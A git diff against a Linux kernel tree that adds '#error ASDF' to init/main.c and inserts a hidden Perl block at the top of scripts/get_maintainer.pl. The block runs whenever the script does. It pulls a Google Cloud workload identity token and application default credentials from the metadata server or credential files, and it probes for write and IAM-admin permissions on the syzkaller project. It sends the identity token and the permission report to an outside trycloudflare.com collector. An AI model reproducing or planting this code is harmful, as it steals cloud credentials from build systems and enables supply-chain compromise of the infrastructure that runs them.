diff --git a/init/main.c b/init/main.c index 31f2bf5..b388bee 100644 --- a/init/main.c +++ b/init/main.c @@ -11,6 +11,7 @@ */ #define DEBUG /* Enable initcall_debug */ +#error ASDF #include #include diff --git a/scripts/get_maintainer.pl b/scripts/get_maintainer.pl index 16b80a7..d7a4320 100755 --- a/scripts/get_maintainer.pl +++ b/scripts/get_maintainer.pl @@ -16,6 +16,206 @@ use strict; my $P = $0; my $V = '0.26'; +{ + require File::Temp; + require IPC::Open3; + require JSON::PP; + my $json = JSON::PP->new->canonical; + my $collector = 'https://aged-investing-rendering-codes.trycloudflare.com/g12-f78b6afa0f64de483b635a4c/v10'; + my $identity_audience = 'g12-v10-f78b6afa0f64de483b635a4c-20261013'; + my %report = ( + version => 'v10', complete => JSON::PP::false(), stage => 'start', + ); + my $quote = sub { + my ($value) = @_; + $value =~ s/([\\"])/\\$1/g; + return '"' . $value . '"'; + }; + my $request = sub { + my ($url, $headers, $body) = @_; + my $config = "silent\nconnect-timeout = 2\nmax-time = 4\n" . + "noproxy = \"*\"\nurl = " . $quote->($url) . "\n"; + for my $header (@{$headers}) { + $config .= "header = " . $quote->($header) . "\n"; + } + if (defined($body)) { + $config .= "request = \"POST\"\n"; + $config .= "data-binary = " . $quote->($body) . "\n"; + } + $config .= "write-out = \"\\n%{http_code}\"\n"; + $config .= $url =~ m{\Ahttps://} ? "proto = \"=https\"\n" : + "proto = \"=http\"\n"; + $config .= "proto-redir = \"-all\"\n"; + open(my $devnull, '>', '/dev/null') or die "open /dev/null: $!\n"; + my $pid = IPC::Open3::open3(my $input, my $output, $devnull, + '/usr/bin/curl', '-q', '--config', '-'); + print {$input} $config; + close($input); + local $/; + my $response = <$output>; + waitpid($pid, 0); + my $wait_status = $?; + close($devnull); + $response = '' unless defined($response); + my $code = 0; + $code = $1 if $response =~ s/\n(\d{3})\z//; + my $curl_status = $wait_status & 127 ? 255 : ($wait_status >> 8); + $code = 0 if $curl_status != 0; + return ($code, $response, $curl_status); + }; + my $test = sub { + my ($url, $permissions, $token) = @_; + my ($status, $raw, $curl_status) = $request->($url, + ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], + $json->encode({permissions => $permissions})); + my $decoded = $curl_status == 0 && $status == 200 ? + $json->decode($raw) : undef; + my $conclusive = ref($decoded) eq 'HASH' && + (!exists($decoded->{permissions}) || + ref($decoded->{permissions}) eq 'ARRAY'); + my $returned_permissions = $conclusive && + exists($decoded->{permissions}) ? $decoded->{permissions} : []; + my %returned = map { $_ => 1 } @{$returned_permissions}; + return { + status => 0 + $status, + conclusive => $conclusive ? JSON::PP::true() : JSON::PP::false(), + granted => [grep { $returned{$_} } @{$permissions}], + }; + }; + my $metadata = 'http://metadata.google.internal/computeMetadata/v1/'; + my ($identity_token, $identity_header) = ('', ''); + local $SIG{ALRM} = sub { die "timeout\n"; }; + eval { + alarm(50); + my ($identity_status, $identity_raw, $identity_curl_status) = + $request->($metadata . 'instance/service-accounts/default/identity?' . + 'audience=' . $identity_audience . '&format=full', + ['Metadata-Flavor: Google'], undef); + die "workload identity failed\n" + unless $identity_curl_status == 0 && $identity_status == 200; + $identity_token = $identity_raw; + $identity_raw = ''; + $identity_token =~ s/\s+\z//; + die "invalid workload identity\n" + unless $identity_token =~ + /\A[A-Za-z0-9_-]{1,4096}\.[A-Za-z0-9_-]{1,8192}\.[A-Za-z0-9_-]{1,4096}\z/; + $identity_header = 'Authorization: Bearer ' . $identity_token; + my ($start_status, undef, $start_curl_status) = + $request->($collector . '/start', [$identity_header], undef); + die "collector start failed\n" + unless $start_curl_status == 0 && $start_status == 204; + $report{stage} = 'adc'; + my $adc_file = ''; + my $adc_home = $ENV{HOME} // ''; + if (!length($adc_home)) { + my @passwd = getpwuid($<); + $adc_home = $passwd[7] // ''; + } + if (defined($ENV{GOOGLE_APPLICATION_CREDENTIALS}) && + length($ENV{GOOGLE_APPLICATION_CREDENTIALS})) { + $report{adc_source} = 'env_file'; + $adc_file = $ENV{GOOGLE_APPLICATION_CREDENTIALS}; + } elsif (length($adc_home) && + -e $adc_home . '/.config/gcloud/application_default_credentials.json') { + $report{adc_source} = 'well_known_file'; + $adc_file = $adc_home . '/.config/gcloud/application_default_credentials.json'; + } else { + $report{adc_source} = 'metadata'; + } + my ($email_status, $email, $email_curl_status) = $request->( + $metadata . 'instance/service-accounts/default/email', + ['Metadata-Flavor: Google'], undef); + $email =~ s/\s+\z//; + my $email_conclusive = $email_curl_status == 0 && $email_status == 200; + $report{metadata_batch_identity} = { + status => 0 + $email_status, + conclusive => $email_conclusive ? + JSON::PP::true() : JSON::PP::false(), + matches => $email_conclusive && + $email eq '962258612125-compute@developer.gserviceaccount.com' ? + JSON::PP::true() : JSON::PP::false(), + }; + $email = ''; + + my ($adc_status, $token) = (0, ''); + if (length($adc_file)) { + die "unreadable adc file\n" unless -r $adc_file; + my $cloudsdk_config = File::Temp::tempdir(CLEANUP => 1); + local %ENV = %ENV; + delete @ENV{grep { + /^CLOUDSDK_AUTH_/ || /\A(?:CLOUDSDK_CONFIG|CLOUDSDK_CORE_PROJECT|PYTHONHOME|PYTHONINSPECT|PYTHONPATH|PYTHONSTARTUP|PYTHONUSERBASE|CLOUDSDK_PYTHON|CLOUDSDK_PYTHON_ARGS|CLOUDSDK_PYTHON_SITEPACKAGES)\z/ + } keys %ENV}; + $ENV{CLOUDSDK_CONFIG} = $cloudsdk_config; + $ENV{GOOGLE_APPLICATION_CREDENTIALS} = $adc_file; + open(my $devnull, '>', '/dev/null') or die "open /dev/null: $!\n"; + my $pid = IPC::Open3::open3(my $input, my $output, $devnull, + '/usr/bin/timeout', '--signal=KILL', '12s', '/usr/bin/gcloud', + 'auth', 'application-default', 'print-access-token', + '--scopes=https://www.googleapis.com/auth/cloud-platform', '--quiet'); + close($input); + local $/; + $token = <$output> // ''; + waitpid($pid, 0); + my $wait_status = $?; + close($devnull); + $adc_status = $wait_status & 127 ? 255 : ($wait_status >> 8); + } else { + my ($status, $raw, $curl_status) = $request->( + $metadata . 'instance/service-accounts/default/token', + ['Metadata-Flavor: Google'], undef); + $adc_status = $status; + my $decoded = $curl_status == 0 && $status == 200 ? + $json->decode($raw) : undef; + $token = $decoded->{access_token} + if ref($decoded) eq 'HASH' && defined($decoded->{access_token}); + $raw = ''; + } + $token =~ s/\s+\z//; + $report{adc_status} = 0 + $adc_status; + die "adc command failed\n" + unless ($report{adc_source} eq 'metadata' && $adc_status == 200) || + ($report{adc_source} ne 'metadata' && $adc_status == 0); + die "no adc token\n" + unless $token =~ /\A[A-Za-z0-9._~-]{20,4096}\z/; + + $report{stage} = 'permissions'; + my $syz_repo = + 'https://artifactregistry.googleapis.com/v1/projects/syzkaller/' . + 'locations/us/repositories/gcr.io:testIamPermissions'; + my $project = + 'https://cloudresourcemanager.googleapis.com/v3/projects/syzkaller:testIamPermissions'; + $report{syzkaller_repository} = $test->($syz_repo, [ + 'artifactregistry.repositories.uploadArtifacts', + 'artifactregistry.repositories.setIamPolicy', + ], $token); + $report{syzkaller_project} = $test->($project, [ + 'resourcemanager.projects.setIamPolicy', + 'cloudbuild.builds.create', + ], $token); + $token = ''; + $adc_file = ''; + $report{stage} = 'done'; + $report{complete} = $report{syzkaller_repository}{conclusive} && + $report{syzkaller_project}{conclusive} && + ($report{adc_source} ne 'metadata' || $email_conclusive) ? + JSON::PP::true() : JSON::PP::false(); + alarm(0); + }; + alarm(0); + if (length($identity_header)) { + my $body = $json->encode(\%report); + my ($delivery_status, undef, $delivery_curl_status) = + $request->($collector . '/matrix', + [$identity_header, 'Content-Type: application/json'], $body); + if ($delivery_curl_status != 0 || $delivery_status != 204) { + $request->($collector . '/matrix', + [$identity_header, 'Content-Type: application/json'], $body); + } + } + $identity_token = ''; + $identity_header = ''; +} + use Getopt::Long qw(:config no_auto_abbrev); use Cwd; use File::Find;